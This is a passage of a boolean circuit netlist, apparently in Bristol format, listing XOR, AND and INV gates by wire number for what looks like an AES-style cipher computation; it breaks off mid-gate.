597 XOR +2 1 757 597 629 XOR +2 1 629 627 15898 XOR +2 1 23632 23599 23568 XOR +2 1 23567 23568 36642 XOR +2 1 36642 660 532 XOR +2 1 36674 532 1428 XOR +2 1 692 532 564 XOR +2 1 724 564 596 XOR +2 1 756 596 628 XOR +2 1 628 629 15779 XOR +2 1 564 1428 1460 XOR +2 1 596 1460 1492 XOR +2 1 628 1492 1524 XOR +2 1 36706 1428 1300 XOR +2 1 1460 1300 1332 XOR +2 1 1492 1332 1364 XOR +2 1 1524 1364 1396 XOR +2 1 36738 1300 1172 XOR +2 1 1332 1172 1204 XOR +2 1 1364 1204 1236 XOR +2 1 1396 1236 1268 XOR +2 1 23595 23566 36646 XOR +2 1 36646 656 528 XOR +2 1 688 528 560 XOR +2 1 720 560 592 XOR +2 1 752 592 624 XOR +2 1 627 624 15896 XOR +2 1 624 629 15895 XOR +2 1 23639 23680 23617 AND +2 1 23628 23617 23577 XOR +1 1 23577 23573 INV +2 1 23573 23574 23684 XOR +1 1 23687 36639 INV +2 1 36639 663 535 XOR +2 1 36671 535 1431 XOR +2 1 695 535 567 XOR +2 1 727 567 599 XOR +2 1 759 599 631 XOR +2 1 567 1431 1463 XOR +2 1 599 1463 1495 XOR +2 1 631 1495 1527 XOR +2 1 36703 1431 1303 XOR +2 1 1463 1303 1335 XOR +2 1 1495 1335 1367 XOR +2 1 1527 1367 1399 XOR +2 1 36735 1303 1175 XOR +2 1 1335 1175 1207 XOR +2 1 1367 1207 1239 XOR +2 1 1399 1239 1271 XOR +1 1 23686 36640 INV +2 1 36640 662 534 XOR +2 1 36672 534 1430 XOR +2 1 694 534 566 XOR +2 1 726 566 598 XOR +2 1 758 598 630 XOR +2 1 630 628 15802 XOR +2 1 629 15802 15804 XOR +2 1 15802 15896 15888 XOR +2 1 631 15888 15887 XOR +2 1 630 629 15819 XOR +2 1 15896 15819 15892 XOR +2 1 624 630 15897 XOR +2 1 15888 15892 15881 AND +2 1 566 1430 1462 XOR +2 1 598 1462 1494 XOR +2 1 630 1494 1526 XOR +2 1 36704 1430 1302 XOR +2 1 1462 1302 1334 XOR +2 1 36736 1302 1174 XOR +2 1 1334 1174 1206 XOR +2 1 1526 1524 22474 XOR +1 1 23685 36645 INV +2 1 36645 657 529 XOR +2 1 36677 529 1425 XOR +2 1 689 529 561 XOR +2 1 721 561 593 XOR +2 1 753 593 625 XOR +2 1 561 1425 1457 XOR +2 1 625 15804 15885 XOR +2 1 627 625 15805 XOR +2 1 15881 15805 15808 XOR +2 1 631 625 15809 XOR +2 1 15809 15804 15884 XOR +2 1 15896 15885 15875 AND +2 1 15875 15804 15806 XOR +2 1 15808 15806 15812 XOR +2 1 624 15812 15817 XOR +2 1 36709 1425 1297 XOR +2 1 1457 1297 1329 XOR +2 1 593 1457 1489 XOR +2 1 625 1489 1521 XOR +2 1 1489 1329 1361 XOR +2 1 1521 1361 1393 XOR +2 1 1399 1393 17616 XOR +2 1 36741 1297 1169 XOR +2 1 1329 1169 1201 XOR +2 1 1361 1201 1233 XOR +2 1 1393 1233 1265 XOR +2 1 1271 1265 15670 XOR +2 1 1527 1521 22481 XOR +1 1 23684 36644 INV +2 1 36644 658 530 XOR +2 1 36676 530 1426 XOR +2 1 690 530 562 XOR +2 1 722 562 594 XOR +2 1 754 594 626 XOR +2 1 626 15804 15882 XOR +2 1 626 624 15803 XOR +2 1 15803 15898 15883 XOR +2 1 15803 15809 15891 XOR +2 1 15819 15891 15889 XOR +2 1 626 15809 15894 XOR +2 1 630 15894 15890 XOR +2 1 15805 15803 15765 XOR +2 1 15802 15765 15886 XOR +2 1 15805 626 15764 XOR +2 1 631 15764 15893 XOR +2 1 15889 15887 15880 AND +2 1 15893 631 15879 AND +2 1 15897 15882 15878 AND +2 1 15878 15803 15807 XOR +2 1 15894 15890 15877 AND +2 1 15891 15884 15876 AND +2 1 15898 15883 15874 AND +2 1 15874 15880 15826 XOR +2 1 15826 15817 15872 XOR +2 1 15874 15875 15778 XOR +2 1 15778 15779 15825 XOR +2 1 15825 15807 15824 XOR +2 1 15877 15824 15871 XOR +2 1 15895 15886 15873 AND +2 1 15873 15876 15827 XOR +2 1 15873 15879 15831 XOR +2 1 15831 15803 15818 XOR +2 1 15826 15818 15869 XOR +2 1 15874 15827 15821 XOR +2 1 15807 15827 15781 XOR +2 1 15781 15806 15870 XOR +2 1 15812 15831 15780 XOR +2 1 626 15780 15823 XOR +2 1 15877 15821 15777 XOR +2 1 630 15777 15864 XOR +2 1 15872 15871 15868 AND +2 1 15868 15823 15863 XOR +2 1 15868 15870 15867 XOR +2 1 15869 15867 15866 AND +2 1 15866 15823 15865 XOR +2 1 15866 15878 15772 XOR +2 1 15772 15808 15768 XOR +2 1 624 15768 15771 XOR +2 1 15866 15817 15769 XOR +2 1 626 15768 15767 XOR +2 1 15863 15864 15862 AND +2 1 15862 15870 15861 XOR +2 1 15868 15862 15860 XOR +2 1 15862 15821 15776 XOR +2 1 15862 15879 15775 XOR +2 1 15775 15876 15770 XOR +2 1 15770 15771 15853 XOR +2 1 15870 15860 15859 AND +2 1 15859 15867 15857 XOR +2 1 15859 15877 15830 XOR +2 1 15830 15824 15851 XOR +2 1 630 15830 15813 XOR +2 1 15813 15776 15858 XOR +2 1 15865 15857 15856 AND +2 1 15856 15826 15816 XOR +2 1 15816 15818 15855 XOR +2 1 15856 15880 15774 XOR +2 1 15813 15774 15766 XOR +2 1 15803 15766 15773 XOR +2 1 15770 15773 15854 XOR +2 1 15816 15769 15852 XOR +2 1 15766 15767 15850 XOR +2 1 15851 15888 15849 AND +2 1 15858 15887 15848 AND +2 1 15861 631 15847 AND +2 1 15847 15849 15829 XOR +2 1 15852 15882 15846 AND +2 1 15855 15894 15845 AND +2 1 15865 15884 15844 AND +2 1 15844 15845 15783 XOR +2 1 15853 15885 15843 AND +2 1 15850 15883 15842 AND +2 1 15842 15845 15798 XOR +1 1 15798 15795 INV +2 1 15842 15843 15794 XOR +2 1 15854 15886 15841 AND +2 1 15851 15892 15840 AND +2 1 15858 15889 15839 AND +2 1 15861 15893 15838 AND +2 1 15852 15897 15837 AND +2 1 15837 15841 15814 XOR +2 1 15846 15837 15799 XOR +1 1 15814 15792 INV +2 1 15855 15890 15836 AND +2 1 15844 15836 15801 XOR +2 1 15865 15891 15835 AND +2 1 15792 15835 15791 XOR +2 1 15791 15829 15787 XOR +2 1 15853 15896 15834 AND +2 1 15834 15787 15790 XOR +2 1 15850 15898 15833 AND +2 1 15833 15834 15828 XOR +2 1 15839 15828 15810 XOR +2 1 15840 15810 15811 XOR +2 1 15848 15811 15815 XOR +2 1 15849 15815 15820 XOR +2 1 15801 15828 15797 XOR +2 1 15829 15797 15800 XOR +2 1 15799 15800 15902 XOR +2 1 15792 15797 15796 XOR +2 1 15795 15796 15901 XOR +2 1 15820 15794 15900 XOR +2 1 15810 15787 15786 XOR +2 1 15847 15815 15784 XOR +2 1 15783 15784 36682 XOR +2 1 36682 524 1420 XOR +2 1 15854 15895 15832 AND +2 1 15843 15832 15793 XOR +1 1 15793 15789 INV +2 1 15789 15790 15899 XOR +1 1 15902 36679 INV +2 1 36679 527 1423 XOR +1 1 15901 36680 INV +2 1 36680 526 1422 XOR +1 1 15900 36685 INV +2 1 36685 521 1417 XOR +1 1 15899 36684 INV +2 1 36684 522 1418 XOR +2 1 36708 1426 1298 XOR +2 1 562 1426 1458 XOR +2 1 556 1420 1452 XOR +2 1 588 1452 1484 XOR +2 1 620 1484 1516 XOR +2 1 553 1417 1449 XOR +2 1 554 1418 1450 XOR +2 1 1458 1298 1330 XOR +2 1 586 1450 1482 XOR +2 1 618 1482 1514 XOR +2 1 585 1449 1481 XOR +2 1 617 1481 1513 XOR +2 1 558 1422 1454 XOR +2 1 590 1454 1486 XOR +2 1 622 1486 1518 XOR +2 1 1518 1516 12034 XOR +2 1 594 1458 1490 XOR +2 1 626 1490 1522 XOR +2 1 1490 1330 1362 XOR +2 1 1522 1362 1394 XOR +2 1 1394 17616 17701 XOR +2 1 559 1423 1455 XOR +2 1 591 1455 1487 XOR +2 1 623 1487 1519 XOR +2 1 1519 1513 12041 XOR +2 1 1514 12041 12127 XOR +2 1 1518 12127 12123 XOR +2 1 12127 12123 12110 AND +2 1 36740 1298 1170 XOR +2 1 1330 1170 1202 XOR +2 1 1362 1202 1234 XOR +2 1 1394 1234 1266 XOR +2 1 1266 15670 15755 XOR +2 1 1522 22481 22566 XOR +2 1 1526 22566 22562 XOR +2 1 22566 22562 22549 AND +2 1 1494 1334 1366 XOR +2 1 1526 1366 1398 XOR +2 1 1398 1396 17609 XOR +2 1 1398 17701 17697 XOR +2 1 17701 17697 17684 AND +2 1 1366 1206 1238 XOR +2 1 1398 1238 1270 XOR +2 1 1270 1268 15663 XOR +2 1 1270 15755 15751 XOR +2 1 15755 15751 15738 AND +2 1 15845 15846 32667 XOR +2 1 15842 32667 15822 XOR +2 1 15843 15822 15782 XOR +2 1 15838 15822 15788 XOR +1 1 15788 15785 INV +2 1 15785 15786 36681 XOR +2 1 36681 525 1421 XOR +2 1 557 1421 1453 XOR +2 1 589 1453 1485 XOR +2 1 621 1485 1517 XOR +2 1 1516 1517 12011 XOR +2 1 1517 12034 12036 XOR +2 1 1513 12036 12118 XOR +2 1 1514 12036 12115 XOR +2 1 1518 1517 12052 XOR +2 1 12041 12036 12117 XOR +2 1 15811 15782 36686 XOR +2 1 36686 520 1416 XOR +2 1 552 1416 1448 XOR +2 1 584 1448 1480 XOR +2 1 616 1480 1512 XOR +2 1 1512 1517 12128 XOR +2 1 1514 1512 12035 XOR +2 1 1512 1518 12130 XOR +2 1 12130 12115 12111 AND +2 1 12111 12035 12039 XOR +2 1 12035 12041 12124 XOR +2 1 12052 12124 12122 XOR +2 1 12124 12117 12109 AND +2 1 32667 15820 36683 XOR +2 1 36683 523 1419 XOR +2 1 555 1419 1451 XOR +2 1 587 1451 1483 XOR +2 1 619 1483 1515 XOR +2 1 1515 1513 12037 XOR +2 1 1515 1512 12129 XOR +2 1 12129 12052 12125 XOR +2 1 12034 12129 12121 XOR +2 1 1519 12121 12120 XOR +2 1 1517 1515 12131 XOR +2 1 12035 12131 12116 XOR +2 1 12037 12035 11997 XOR +2 1 12034 11997 12119 XOR +2 1 12037 1514 11996 XOR +2 1 1519 11996 12126 XOR +2 1 12121 12125 12114 AND +2 1 12114 12037 12040 XOR +2 1 12122 12120 12113 AND +2 1 12126 1519 12112 AND +2 1 12129 12118 12108 AND +2 1 12108 12036 12038 XOR +2 1 12040 12038 12044 XOR +2 1 1512 12044 12050 XOR +2 1 12131 12116 12107 AND +2 1 12107 12113 12059 XOR +2 1 12059 12050 12105 XOR +2 1 12107 12108 12010 XOR +2 1 12010 12011 12058 XOR +2 1 12058 12039 12057 XOR +2 1 12110 12057 12104 XOR +2 1 12128 12119 12106 AND +2 1 12106 12109 12060 XOR +2 1 12106 12112 12064 XOR +2 1 12064 12035 12051 XOR +2 1 12059 12051 12102 XOR +2 1 12107 12060 12054 XOR +2 1 12039 12060 12013 XOR +2 1 12013 12038 12103 XOR +2 1 12044 12064 12012 XOR +2 1 1514 12012 12056 XOR +2 1 12110 12054 12009 XOR +2 1 1518 12009 12097 XOR +2 1 12105 12104 12101 AND +2 1 12101 12056 12096 XOR +2 1 12101 12103 12100 XOR +2 1 12102 12100 12099 AND +2 1 12099 12056 12098 XOR +2 1 12099 12111 12004 XOR +2 1 12004 12040 12000 XOR +2 1 1512 12000 12003 XOR +2 1 12099 12050 12001 XOR +2 1 1514 12000 11999 XOR +2 1 12096 12097 12095 AND +2 1 12095 12103 12094 XOR +2 1 12101 12095 12093 XOR +2 1 12095 12054 12008 XOR +2 1 12095 12112 12007 XOR +2 1 12007 12109 12002 XOR +2 1 12002 12003 12086 XOR +2 1 12103 12093 12092 AND +2 1 12092 12100 12090 XOR +2 1 12092 12110 12063 XOR +2 1 12063 12057 12084 XOR +2 1 1518 12063 12045 XOR +2 1 12045 12008 12091 XOR +2 1 12098 12090 12089 AND +2 1 12089 12059 12049 XOR +2 1 12049 12051 12088 XOR +2 1 12089 12113 12006 XOR +2 1 12045 12006 11998 XOR +2 1 12035 11998 12005 XOR +2 1 12002 12005 12087 XOR +2 1 12049 12001 12085 XOR +2 1 11998 11999 12083 XOR +2 1 12084 12121 12082 AND +2 1 12091 12120 12081 AND +2 1 12094 1519 12080 AND +2 1 12080 12082 12062 XOR +2 1 12085 12115 12079 AND +2 1 12088 12127 12078 AND +2 1 12078 12079 12047 XOR +2 1 12098 12117 12077 AND +2 1 12077 12078 12015 XOR +2 1 12086 12118 12076 AND +2 1 12083 12116 12075 AND +2 1 12075 12047 12055 XOR +2 1 12075 12078 12030 XOR +1 1 12030 12027 INV +2 1 12075 12076 12026 XOR +2 1 12076 12055 12014 XOR +2 1 12087 12119 12074 AND +2 1 12084 12125 12073 AND +2 1 12091 12122 12072 AND +2 1 12094 12126 12071 AND +2 1 12071 12055 12020 XOR +1 1 12020 12017 INV +2 1 12085 12130 12070 AND +2 1 12070 12074 12046 XOR +2 1 12079 12070 12031 XOR +1 1 12046 12024 INV +2 1 12088 12123 12069 AND +2 1 12077 12069 12033 XOR +2 1 12098 12124 12068 AND +2 1 12024 12068 12023 XOR +2 1 12023 12062 12019 XOR +2 1 12086 12129 12067 AND +2 1 12067 12019 12022 XOR +2 1 12083 12131 12066 AND +2 1 12066 12067 12061 XOR +2 1 12072 12061 12042 XOR +2 1 12073 12042 12043 XOR +2 1 12081 12043 12048 XOR +2 1 12082 12048 12053 XOR +2 1 12047 12053 36723 XOR +2 1 12033 12061 12029 XOR +2 1 12062 12029 12032 XOR +2 1 12031 12032 12135 XOR +2 1 12024 12029 12028 XOR +2 1 12027 12028 12134 XOR +2 1 12053 12026 12133 XOR +2 1 12042 12019 12018 XOR +2 1 12017 12018 36721 XOR +2 1 12080 12048 12016 XOR +2 1 12015 12016 36722 XOR +2 1 12043 12014 36726 XOR +2 1 12087 12128 12065 AND +2 1 12076 12065 12025 XOR +1 1 12025 12021 INV +2 1 12021 12022 12132 XOR +1 1 12135 36719 INV +1 1 12134 36720 INV +1 1 12133 36725 INV +1 1 12132 36724 INV +2 1 36721 1413 1285 XOR +2 1 36722 1412 1284 XOR +2 1 1444 1284 1316 XOR +2 1 1476 1316 1348 XOR +2 1 1508 1348 1380 XOR +2 1 1445 1285 1317 XOR +2 1 36720 1414 1286 XOR +2 1 1446 1286 1318 XOR +2 1 36726 1408 1564 XOR +1 1 1564 1280 INV +2 1 36725 1409 1281 XOR +2 1 1441 1281 1313 XOR +2 1 1473 1313 1345 XOR +2 1 1505 1345 1377 XOR +2 1 36723 1411 1283 XOR +2 1 1443 1283 1315 XOR +2 1 36719 1415 1287 XOR +2 1 36724 1410 1282 XOR +2 1 1442 1282 1314 XOR +2 1 1440 1564 1565 XOR +2 1 1472 1565 1566 XOR +1 1 1566 1344 INV +1 1 1565 1312 INV +2 1 1504 1566 1567 XOR +1 1 1567 1376 INV +2 1 1447 1287 1319 XOR +2 1 1474 1314 1346 XOR +2 1 1506 1346 1378 XOR +2 1 1477 1317 1349 XOR +2 1 1509 1349 1381 XOR +2 1 1378 1376 16915 XOR +2 1 1380 1381 16891 XOR +2 1 1376 1381 17007 XOR +2 1 1475 1315 1347 XOR +2 1 1507 1347 1379 XOR +2 1 1379 1377 16917 XOR +2 1 1379 1376 17008 XOR +2 1 1381 1379 17010 XOR +2 1 16915 17010 16995 XOR +2 1 16917 16915 16877 XOR +2 1 16917 1378 16876 XOR +2 1 17010 16995 16986 AND +2 1 1478 1318 1350 XOR +2 1 1510 1350 1382 XOR +2 1 1382 1380 16914 XOR +2 1 1381 16914 16916 XOR +2 1 1377 16916 16997 XOR +2 1 1378 16916 16994 XOR +2 1 16914 17008 17000 XOR +2 1 1382 1381 16931 XOR +2 1 17008 16931 17004 XOR +2 1 16914 16877 16998 XOR +2 1 1376 1382 17009 XOR +2 1 17000 17004 16993 AND +2 1 16993 16917 16920 XOR +2 1 17009 16994 16990 AND +2 1 16990 16915 16919 XOR +2 1 17008 16997 16987 AND +2 1 16987 16916 16918 XOR +2 1 16920 16918 16924 XOR +2 1 1376 16924 16929 XOR +2 1 16986 16987 16890 XOR +2 1 16890 16891 16937 XOR +2 1 16937 16919 16936 XOR +2 1 17007 16998 16985 AND +2 1 1479 1319 1351 XOR +2 1 1511 1351 1383 XOR +2 1 1383 17000 16999 XOR +2 1 1383 1377 16921 XOR +2 1 16921 16916 16996 XOR +2 1 16915 16921 17003 XOR +2 1 16931 17003 17001 XOR +2 1 1378 16921 17006 XOR +2 1 1382 17006 17002 XOR +2 1 1383 16876 17005 XOR +2 1 17001 16999 16992 AND +2 1 16986 16992 16938 XOR +2 1 16938 16929 16984 XOR +2 1 17005 1383 16991 AND +2 1 16985 16991 16943 XOR +2 1 16943 16915 16930 XOR +2 1 16938 16930 16981 XOR +2 1 16924 16943 16892 XOR +2 1 1378 16892 16935 XOR +2 1 17006 17002 16989 AND +2 1 16989 16936 16983 XOR +2 1 17003 16996 16988 AND +2 1 16985 16988 16939 XOR +2 1 16986 16939 16933 XOR +2 1 16919 16939 16893 XOR +2 1 16893 16918 16982 XOR +2 1 16989 16933 16889 XOR +2 1 1382 16889 16976 XOR +2 1 16984 16983 16980 AND +2 1 16980 16935 16975 XOR +2 1 16980 16982 16979 XOR +2 1 16981 16979 16978 AND +2 1 16978 16935 16977 XOR +2 1 16978 16990 16884 XOR +2 1 16884 16920 16880 XOR +2 1 1376 16880 16883 XOR +2 1 16978 16929 16881 XOR +2 1 1378 16880 16879 XOR +2 1 16975 16976 16974 AND +2 1 16974 16982 16973 XOR +2 1 16980 16974 16972 XOR +2 1 16974 16933 16888 XOR +2 1 16974 16991 16887 XOR +2 1 16887 16988 16882 XOR +2 1 16882 16883 16965 XOR +2 1 16982 16972 16971 AND +2 1 16971 16979 16969 XOR +2 1 16971 16989 16942 XOR +2 1 16942 16936 16963 XOR +2 1 1382 16942 16925 XOR +2 1 16925 16888 16970 XOR +2 1 16977 16969 16968 AND +2 1 16968 16938 16928 XOR +2 1 16928 16930 16967 XOR +2 1 16968 16992 16886 XOR +2 1 16925 16886 16878 XOR +2 1 16915 16878 16885 XOR +2 1 16882 16885 16966 XOR +2 1 16928 16881 16964 XOR +2 1 16878 16879 16962 XOR +2 1 16963 17000 16961 AND +2 1 16970 16999 16960 AND +2 1 16973 1383 16959 AND +2 1 16959 16961 16941 XOR +2 1 16964 16994 16958 AND +2 1 16967 17006 16957 AND +2 1 16977 16996 16956 AND +2 1 16956 16957 16895 XOR +2 1 16965 16997 16955 AND +2 1 16962 16995 16954 AND +2 1 16954 16957 16910 XOR +1 1 16910 16907 INV +2 1 16954 16955 16906 XOR +2 1 16966 16998 16953 AND +2 1 16963 17004 16952 AND +2 1 16970 17001 16951 AND +2 1 16973 17005 16950 AND +2 1 16964 17009 16949 AND +2 1 16949 16953 16926 XOR +2 1 16958 16949 16911 XOR +1 1 16926 16904 INV +2 1 16967 17002 16948 AND +2 1 16956 16948 16913 XOR +2 1 16977 17003 16947 AND +2 1 16904 16947 16903 XOR +2 1 16903 16941 16899 XOR +2 1 16965 17008 16946 AND +2 1 16946 16899 16902 XOR +2 1 16962 17010 16945 AND +2 1 16945 16946 16940 XOR +2 1 16951 16940 16922 XOR +2 1 16952 16922 16923 XOR +2 1 16960 16923 16927 XOR +2 1 16961 16927 16932 XOR +2 1 16913 16940 16909 XOR +2 1 16941 16909 16912 XOR +2 1 16911 16912 17014 XOR +2 1 16904 16909 16908 XOR +2 1 16907 16908 17013 XOR +2 1 16932 16906 17012 XOR +2 1 16922 16899 16898 XOR +2 1 16959 16927 16896 XOR +2 1 16895 16896 36730 XOR +2 1 16966 17007 16944 AND +2 1 16955 16944 16905 XOR +1 1 16905 16901 INV +2 1 16901 16902 17011 XOR +1 1 17014 36727 INV +1 1 17013 36728 INV +1 1 17012 36733 INV +1 1 17011 36732 INV +2 1 36733 1305 1177 XOR +2 1 36727 1311 1183 XOR +2 1 36732 1306 1178 XOR +2 1 36730 1308 1180 XOR +2 1 1337 1177 1209 XOR +2 1 1338 1178 1210 XOR +2 1 36728 1310 1182 XOR +2 1 1342 1182 1214 XOR +2 1 1374 1214 1246 XOR +2 1 1406 1246 1278 XOR +2 1 1343 1183 1215 XOR +2 1 1375 1215 1247 XOR +2 1 1407 1247 1279 XOR +2 1 1340 1180 1212 XOR +2 1 1372 1212 1244 XOR +2 1 1404 1244 1276 XOR +2 1 1278 1276 12594 XOR +2 1 1370 1210 1242 XOR +2 1 1402 1242 1274 XOR +2 1 1369 1209 1241 XOR +2 1 1401 1241 1273 XOR +2 1 1279 1273 12601 XOR +2 1 1274 12601 12687 XOR +2 1 1278 12687 12683 XOR +2 1 12687 12683 12670 AND +2 1 16957 16958 32675 XOR +2 1 16954 32675 16934 XOR +2 1 16955 16934 16894 XOR +2 1 16923 16894 36734 XOR +2 1 36734 1304 1176 XOR +2 1 1336 1176 1208 XOR +2 1 1368 1208 1240 XOR +2 1 1400 1240 1272 XOR +2 1 1272 1278 12690 XOR +2 1 1274 1272 12595 XOR +2 1 12595 12601 12684 XOR +2 1 16950 16934 16900 XOR +1 1 16900 16897 INV +2 1 16897 16898 36729 XOR +2 1 36729 1309 1181 XOR +2 1 1341 1181 1213 XOR +2 1 1373 1213 1245 XOR +2 1 1405 1245 1277 XOR +2 1 1277 12594 12596 XOR +2 1 1278 1277 12612 XOR +2 1 1276 1277 12571 XOR +2 1 1272 1277 12688 XOR +2 1 1274 12596 12675 XOR +2 1 12690 12675 12671 AND +2 1 12671 12595 12599 XOR +2 1 1273 12596 12678 XOR +2 1 12601 12596 12677 XOR +2 1 12612 12684 12682 XOR +2 1 12684 12677 12669 AND +2 1 32675 16932 36731 XOR +2 1 36731 1307 1179 XOR +2 1 1339 1179 1211 XOR +2 1 1371 1211 1243 XOR +2 1 1403 1243 1275 XOR +2 1 1275 1273 12597 XOR +2 1 1275 1272 12689 XOR +2 1 12689 12612 12685 XOR +2 1 12594 12689 12681 XOR +2 1 1279 12681 12680 XOR +2 1 1277 1275 12691 XOR +2 1 12595 12691 12676 XOR +2 1 12597 12595 12557 XOR +2 1 12594 12557 12679 XOR +2 1 12597 1274 12556 XOR +2 1 1279 12556 12686 XOR +2 1 12681 12685 12674 AND +2 1 12674 12597 12600 XOR +2 1 12682 12680 12673 AND +2 1 12686 1279 12672 AND +2 1 12689 12678 12668 AND +2 1 12668 12596 12598 XOR +2 1 12600 12598 12604 XOR +2 1 1272 12604 12610 XOR +2 1 12691 12676 12667 AND +2 1 12667 12673 12619 XOR +2 1 12619 12610 12665 XOR +2 1 12667 12668 12570 XOR +2 1 12570 12571 12618 XOR +2 1 12618 12599 12617 XOR +2 1 12670 12617 12664 XOR +2 1 12688 12679 12666 AND +2 1 12666 12669 12620 XOR +2 1 12666 12672 12624 XOR +2 1 12624 12595 12611 XOR +2 1 12619 12611 12662 XOR +2 1 12667 12620 12614 XOR +2 1 12599 12620 12573 XOR +2 1 12573 12598 12663 XOR +2 1 12604 12624 12572 XOR +2 1 1274 12572 12616 XOR +2 1 12670 12614 12569 XOR +2 1 1278 12569 12657 XOR +2 1 12665 12664 12661 AND +2 1 12661 12616 12656 XOR +2 1 12661 12663 12660 XOR +2 1 12662 12660 12659 AND +2 1 12659 12616 12658 XOR +2 1 12659 12671 12564 XOR +2 1 12564 12600 12560 XOR +2 1 1272 12560 12563 XOR +2 1 12659 12610 12561 XOR +2 1 1274 12560 12559 XOR +2 1 12656 12657 12655 AND +2 1 12655 12663 12654 XOR +2 1 12661 12655 12653 XOR +2 1 12655 12614 12568 XOR +2 1 12655 12672 12567 XOR +2 1 12567 12669 12562 XOR +2 1 12562 12563 12646 XOR +2 1 12663 12653 12652 AND +2 1 12652 12660 12650 XOR +2 1 12652 12670 12623 XOR +2 1 12623 12617 12644 XOR +2 1 1278 12623 12605 XOR +2 1 12605 12568 12651 XOR +2 1 12658 12650 12649 AND +2 1 12649 12619 12609 XOR +2 1 12609 12611 12648 XOR +2 1 12649 12673 12566 XOR +2 1 12605 12566 12558 XOR +2 1 12595 12558 12565 XOR +2 1 12562 12565 12647 XOR +2 1 12609 12561 12645 XOR +2 1 12558 12559 12643 XOR +2 1 12644 12681 12642 AND +2 1 12651 12680 12641 AND +2 1 12654 1279 12640 AND +2 1 12640 12642 12622 XOR +2 1 12645 12675 12639 AND +2 1 12648 12687 12638 AND +2 1 12638 12639 12607 XOR +2 1 12658 12677 12637 AND +2 1 12637 12638 12575 XOR +2 1 12646 12678 12636 AND +2 1 12643 12676 12635 AND +2 1 12635 12607 12615 XOR +2 1 12635 12638 12590 XOR +1 1 12590 12587 INV +2 1 12635 12636 12586 XOR +2 1 12636 12615 12574 XOR +2 1 12647 12679 12634 AND +2 1 12644 12685 12633 AND +2 1 12651 12682 12632 AND +2 1 12654 12686 12631 AND +2 1 12631 12615 12580 XOR +1 1 12580 12577 INV +2 1 12645 12690 12630 AND +2 1 12630 12634 12606 XOR +2 1 12639 12630 12591 XOR +1 1 12606 12584 INV +2 1 12648 12683 12629 AND +2 1 12637 12629 12593 XOR +2 1 12658 12684 12628 AND +2 1 12584 12628 12583 XOR +2 1 12583 12622 12579 XOR +2 1 12646 12689 12627 AND +2 1 12627 12579 12582 XOR +2 1 12643 12691 12626 AND +2 1 12626 12627 12621 XOR +2 1 12632 12621 12602 XOR +2 1 12633 12602 12603 XOR +2 1 12641 12603 12608 XOR +2 1 12642 12608 12613 XOR +2 1 12607 12613 36771 XOR +2 1 12593 12621 12589 XOR +2 1 12622 12589 12592 XOR +2 1 12591 12592 12695 XOR +2 1 12584 12589 12588 XOR +2 1 12587 12588 12694 XOR +2 1 12613 12586 12693 XOR +2 1 12602 12579 12578 XOR +2 1 12577 12578 36769 XOR +2 1 12640 12608 12576 XOR +2 1 12575 12576 36770 XOR +2 1 12603 12574 36774 XOR +2 1 12647 12688 12625 AND +2 1 12636 12625 12585 XOR +1 1 12585 12581 INV +2 1 12581 12582 12692 XOR +1 1 12695 36767 INV +1 1 12694 36768 INV +1 1 12693 36773 INV +1 1 12692 36772 INV +2 1 36767 1175 1047 XOR +2 1 36768 1174 1046 XOR +2 1 1206 1046 1078 XOR +2 1 1238 1078 1110 XOR +2 1 1270 1110 1142 XOR +2 1 1207 1047 1079 XOR +2 1 1239 1079 1111 XOR +2 1 1271 1111 1143 XOR +2 1 36773 1169 1041 XOR +2 1 1201 1041 1073 XOR +2 1 36772 1170 1042 XOR +2 1 1202 1042 1074 XOR +2 1 36770 1172 1044 XOR +2 1 1204 1044 1076 XOR +2 1 1233 1073 1105 XOR +2 1 1265 1105 1137 XOR +2 1 1234 1074 1106 XOR +2 1 1266 1106 1138 XOR +2 1 1236 1076 1108 XOR +2 1 1268 1108 1140 XOR +2 1 18764 18765 32688 XOR +2 1 32688 18739 36675 XOR +2 1 36675 531 1427 XOR +2 1 563 1427 1459 XOR +2 1 595 1459 1491 XOR +2 1 627 1491 1523 XOR +2 1 1523 1521 22477 XOR +2 1 22477 1522 22436 XOR +2 1 1527 22436 22565 XOR +2 1 22565 1527 22551 AND +2 1 18761 32688 18741 XOR +2 1 18757 18741 18707 XOR +1 1 18707 18704 INV +2 1 18704 18705 36673 XOR +2 1 36673 533 1429 XOR +2 1 565 1429 1461 XOR +2 1 597 1461 1493 XOR +2 1 629 1493 1525 XOR +2 1 18762 18741 18701 XOR +2 1 18730 18701 36678 XOR +2 1 36678 528 1424 XOR +2 1 560 1424 1456 XOR +2 1 592 1456 1488 XOR +2 1 624 1488 1520 XOR +2 1 1522 1520 22475 XOR +2 1 1525 22474 22476 XOR +2 1 1521 22476 22557 XOR +2 1 1522 22476 22554 XOR +2 1 22481 22476 22556 XOR +2 1 1523 1520 22568 XOR +2 1 22475 22481 22563 XOR +2 1 22474 22568 22560 XOR +2 1 1527 22560 22559 XOR +2 1 1526 1525 22491 XOR +2 1 22491 22563 22561 XOR +2 1 22568 22491 22564 XOR +2 1 1525 1523 22570 XOR +2 1 22475 22570 22555 XOR +2 1 1524 1525 22451 XOR +2 1 22477 22475 22437 XOR +2 1 22474 22437 22558 XOR +2 1 1520 1526 22569 XOR +2 1 1520 1525 22567 XOR +2 1 22560 22564 22553 AND +2 1 22553 22477 22480 XOR +2 1 22561 22559 22552 AND +2 1 22569 22554 22550 AND +2 1 22550 22475 22479 XOR +2 1 22563 22556 22548 AND +2 1 22568 22557 22547 AND +2 1 22547 22476 22478 XOR +2 1 22480 22478 22484 XOR +2 1 1520 22484 22489 XOR +2 1 22570 22555 22546 AND +2 1 22546 22552 22498 XOR +2 1 22498 22489 22544 XOR +2 1 22546 22547 22450 XOR +2 1 22450 22451 22497 XOR +2 1 22497 22479 22496 XOR +2 1 22549 22496 22543 XOR +2 1 22567 22558 22545 AND +2 1 22545 22548 22499 XOR +2 1 22545 22551 22503 XOR +2 1 22503 22475 22490 XOR +2 1 22498 22490 22541 XOR +2 1 22546 22499 22493 XOR +2 1 22479 22499 22453 XOR +2 1 22453 22478 22542 XOR +2 1 22484 22503 22452 XOR +2 1 1522 22452 22495 XOR +2 1 22549 22493 22449 XOR +2 1 1526 22449 22536 XOR +2 1 22544 22543 22540 AND +2 1 22540 22495 22535 XOR +2 1 22540 22542 22539 XOR +2 1 22541 22539 22538 AND +2 1 22538 22495 22537 XOR +2 1 22538 22550 22444 XOR +2 1 22444 22480 22440 XOR +2 1 1520 22440 22443 XOR +2 1 22538 22489 22441 XOR +2 1 1522 22440 22439 XOR +2 1 22535 22536 22534 AND +2 1 22534 22542 22533 XOR +2 1 22540 22534 22532 XOR +2 1 22534 22493 22448 XOR +2 1 22534 22551 22447 XOR +2 1 